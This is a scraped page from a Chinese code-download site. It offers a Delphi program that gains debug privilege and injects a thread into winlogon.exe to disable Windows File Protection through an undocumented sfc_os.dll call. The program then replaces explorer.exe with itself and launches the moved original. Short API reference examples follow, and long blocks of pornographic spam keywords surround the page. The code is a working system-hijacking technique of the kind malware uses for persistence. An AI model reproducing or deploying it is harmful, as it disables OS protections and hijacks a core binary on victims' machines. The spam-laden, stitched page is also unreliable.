亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 復(fù)件 關(guān)閉xp保護(hù)替換explorer.txt

?? 關(guān)閉WINDOWS文件保護(hù)WPF 值得一看作者思路不錯引用了未公開函數(shù)
?? TXT
字號:

{*******************************************************}
{                                                       }
{       關(guān)閉XP保護(hù)。替換explorer.exe                    }
{                                                       }
{       版權(quán)所有 (C) 2008 bbs.secdst.net                }
{                                                       }
{*******************************************************}

program Project1;
uses
    Windows,TlHelp32;
function LowerCase(const S: string): string;  //轉(zhuǎn)小寫
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);//Inc(i,j);=>i:=i+j;//Inc(i);=>i:=i+1;   
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
  MutexHandle: dword;
begin
  MutexHandle := CreateMutex(nil, True, MutexName);
  if MutexHandle <> 0 then
  begin
    if GetLastError = ERROR_ALREADY_EXISTS then
    begin
      //CloseHandle(MutexHandle);
      Result := False;
      Exit;
    end;
  end;
  Result := True;
end;
function GetWinPath: string;         //取WINDOWS目錄
var
   Buf: array[0..MAX_PATH] of char;
begin
  GetWindowsDirectory(Buf, MAX_PATH);
  Result := Buf;
  if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
function GetTempDirectory: string;  //取臨時目錄
var
   Buf: array[0..MAX_PATH] of char;
begin
  GetTempPath(MAX_PATH,Buf);
  Result := Buf;
  if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

function EnableDebugPriv : Boolean;      //提權(quán)為DEBUG
var
  hToken : THANDLE;
  tp : TTokenPrivileges;
  rl : Cardinal;
begin
  result := false;
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
  if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
  begin
    tp.PrivilegeCount := 1;
    tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
  end;
end;
procedure InjectThread(ProcessHandle: DWORD);     //注入winlogon.exe 關(guān)閉XP文件保護(hù)
var
   TID: LongWord;
   hSfc,hThread: HMODULE;
   pfnCloseEvents: Pointer;
begin
  hSfc := LoadLibrary('sfc_os.dll');
  pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
  FreeLibrary(hSfc);
  hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
  WaitForSingleObject(hThread, 4000);
end;
procedure InitProcess(Name: string);     //查找winlogon.exe進(jìn)程PID
var
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  ProcessHandle:dword;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
  if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
    If Name = LowerCase(FProcessEntry32.szExeFile) then
    begin
      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
      InjectThread(ProcessHandle);
      CloseHandle(ProcessHandle);
      Break;
    end;
until not  Process32Next(FSnapshotHandle,FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;
const ExpFile = 'explorer.exe';
      MasterMutex = 'OpenSoul';
var
  s: string;
begin
  if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆體
  if  not EnableDebugPriv then Exit;     //提權(quán)失敗退出
  InitProcess('winlogon.exe') ;                  //注入winlogon.exe   先關(guān)閉xp的文件保護(hù) .預(yù)防系統(tǒng)的還原
  s := ParamStr(0) ;                     //取當(dāng)前程序的完整路徑+名字
  if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then     //判斷自己是不是系統(tǒng)下的explorer.exe
showmessage('目前的explorer.exe不是自己');
  begin                                    //如果不是
  MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING);  //先移動正在運(yùn)行的explorer.exe
  CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ;  //把自己復(fù)制到windows目錄 為explorer.exe
  end;
  WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1);     //運(yùn)行真正的explorer.exe
end.












WinAPI: GetWindowsDirectory - 獲取 Windows 所在目錄 
//聲明:
GetWindowsDirectory(
  lpBuffer: PChar; {緩沖區(qū)}
  uSize: UINT      {緩沖區(qū)大小}
): UINT;           {返回實際長度}
--------------------------------------------------------------------------------

//舉例:
var
  arr: array[0..MAX_PATH] of Char;
  num: UINT;
begin
  num := GetWindowsDirectory(arr, MAX_PATH);
  ShowMessage(arr);           {C:\WINDOWS}
  ShowMessage(IntToStr(num)); {10}
end;



WinAPI: GetTempPath - 獲取臨時文件夾路徑 
//聲明:
GetTempPath(
  nBufferLength: DWORD; {緩沖區(qū)大小}
  lpBuffer: PChar       {緩沖區(qū)}
): DWORD;               {返回實際長度}
--------------------------------------------------------------------------------

//舉例:
var
  arr: array[0..MAX_PATH] of Char;
  num: DWORD;
begin
  num := GetTempPath(MAX_PATH, arr);
  ShowMessage(arr);           {C:\DOCUME~1\wy\LOCALS~1\Temp\}
  ShowMessage(IntToStr(num)); {29}
end;










?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲欧洲日韩综合一区二区| 欧美日本在线视频| 欧美激情一区二区三区蜜桃视频| 奇米一区二区三区av| 欧美精品乱人伦久久久久久| 亚洲小少妇裸体bbw| 91黄色免费观看| 婷婷六月综合网| 欧美一区三区二区| 国产毛片一区二区| 中文字幕在线一区二区三区| 91在线视频网址| 亚洲国产一区二区三区青草影视| 欧美欧美欧美欧美| 久久91精品国产91久久小草| 久久精品综合网| 99在线精品视频| 亚洲图片欧美色图| 日韩视频在线观看一区二区| 国产又粗又猛又爽又黄91精品| 国产日产精品一区| 99久久99精品久久久久久| 亚洲激情成人在线| 欧美一区二区视频在线观看2020| 奇米影视一区二区三区小说| 国产精品国产三级国产aⅴ入口| 一道本成人在线| 亚洲国产综合人成综合网站| 欧美电影精品一区二区| 91在线精品秘密一区二区| 婷婷国产v国产偷v亚洲高清| 欧美大白屁股肥臀xxxxxx| www.66久久| 日产精品久久久久久久性色| 久久精品一区二区三区不卡牛牛| 在线观看区一区二| 欧美电视剧免费全集观看| 国产亚洲欧美日韩在线一区| 91亚洲精品乱码久久久久久蜜桃| 午夜欧美电影在线观看| 久久久99精品久久| 在线视频欧美区| 国产一区二区看久久| 亚洲一区二区在线免费看| 欧美变态口味重另类| 欧美性淫爽ww久久久久无| 国产成人自拍网| 亚洲二区在线观看| 欧美高清一级片在线观看| 欧美精品色综合| 99视频精品在线| 精东粉嫩av免费一区二区三区| 艳妇臀荡乳欲伦亚洲一区| 国产日韩综合av| 日韩欧美久久一区| 欧美日韩免费视频| 91看片淫黄大片一级在线观看| 韩日欧美一区二区三区| 日韩国产成人精品| 亚洲国产另类精品专区| 国产精品九色蝌蚪自拍| 久久网这里都是精品| 欧美精品一级二级| 在线免费观看日本一区| 成人97人人超碰人人99| 国产伦精品一区二区三区免费迷| 日精品一区二区三区| 亚洲欧美另类小说| 国产精品色一区二区三区| 久久久国际精品| 久久先锋资源网| 欧美tk—视频vk| 日韩小视频在线观看专区| 欧美群妇大交群的观看方式| 在线影视一区二区三区| 91无套直看片红桃| 99久久伊人网影院| 9色porny自拍视频一区二区| 国产成人av在线影院| 国内精品国产成人国产三级粉色| 奇米色777欧美一区二区| 午夜精品久久久久| 一区二区成人在线| 一区二区三区免费看视频| 亚洲日本在线a| 亚洲女同ⅹxx女同tv| 亚洲视频一区二区在线| 亚洲乱码中文字幕| 一区二区日韩电影| 午夜精品视频一区| 男女男精品网站| 久久精品国产99国产| 蜜桃一区二区三区在线观看| 麻豆成人久久精品二区三区红 | 亚洲特级片在线| 中文字幕中文字幕一区| 日韩理论电影院| 一区二区三区产品免费精品久久75| 亚洲人123区| 婷婷国产在线综合| 激情综合五月天| 国产精品资源网| 91在线丨porny丨国产| 色婷婷香蕉在线一区二区| 91成人免费电影| 91精品国产全国免费观看| 精品国产乱码久久久久久夜甘婷婷| 精品久久国产字幕高潮| 色又黄又爽网站www久久| 欧美在线999| 欧美撒尿777hd撒尿| 欧美va天堂va视频va在线| 日本一区二区免费在线观看视频| 最新国产精品久久精品| 丝袜亚洲另类欧美综合| 国产一区二三区| 一本大道久久a久久综合婷婷| 欧美日本一道本在线视频| 精品国产一二三区| 亚洲欧美一区二区久久 | 国产精品美女一区二区| 亚洲综合另类小说| 激情文学综合网| 欧美亚洲国产一区二区三区va | 国产成人综合网站| 欧美日韩精品一区视频| 欧美精选一区二区| 青草国产精品久久久久久| 国产一区二区三区免费观看| 丝袜美腿亚洲一区| 床上的激情91.| 欧美日韩一区二区三区视频| 久久青草国产手机看片福利盒子| 亚洲欧美电影院| 国产精品538一区二区在线| 三级精品在线观看| 国产精品亚洲一区二区三区在线| 欧美日本视频在线| 国产精品麻豆网站| 国内久久精品视频| 欧美日韩夫妻久久| 亚洲日本一区二区| 国产麻豆精品在线观看| 欧美日韩在线精品一区二区三区激情| 欧美mv和日韩mv的网站| 亚洲一区二区免费视频| 国产宾馆实践打屁股91| 日韩一区二区三区在线观看| 亚洲精品成人在线| 丁香天五香天堂综合| 日韩精品一区二区三区四区| 亚洲成在线观看| 色婷婷精品久久二区二区蜜臀av| 日本一区二区免费在线观看视频| 玖玖九九国产精品| 欧美猛男男办公室激情| 一区二区免费视频| 99国产精品99久久久久久| 久久九九影视网| 国产精品123| 久久综合久久综合久久| 免费看日韩精品| 91精品国产综合久久久久久久久久 | 99久久亚洲一区二区三区青草 | 国产精品不卡视频| 国产成人精品www牛牛影视| 日韩三级视频在线看| 一卡二卡三卡日韩欧美| 成人福利视频网站| 欧美激情在线一区二区| 国产毛片精品一区| 91国产丝袜在线播放| 欧美激情一区二区| 国产老女人精品毛片久久| 色婷婷精品大在线视频| 亚洲天堂中文字幕| 99热这里都是精品| 中文字幕不卡在线观看| 成人激情动漫在线观看| 国产午夜精品福利| 国产盗摄视频一区二区三区| 欧美精品在线观看一区二区| 日韩黄色小视频| 9191成人精品久久| 丝袜诱惑亚洲看片| 精品国产髙清在线看国产毛片| 日韩国产欧美三级| 欧美高清视频一二三区 | 亚洲午夜一区二区三区| 欧美性生交片4| 亚洲综合一区二区精品导航| 91久久人澡人人添人人爽欧美| 欧美韩国日本综合| 日本丰满少妇一区二区三区| 一区二区三区在线免费视频 | 中文字幕不卡在线播放| eeuss鲁片一区二区三区在线观看| 日本一区二区三区国色天香| 青娱乐精品视频在线| 久久久久国产一区二区三区四区|